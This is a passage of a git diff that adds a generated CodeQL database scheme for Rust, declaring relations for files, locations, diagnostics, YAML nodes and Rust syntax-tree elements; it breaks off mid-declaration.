b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/old.dbscheme new file mode 100644 index 000000000000..e8707b675dc5 --- /dev/null +++ b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/old.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] 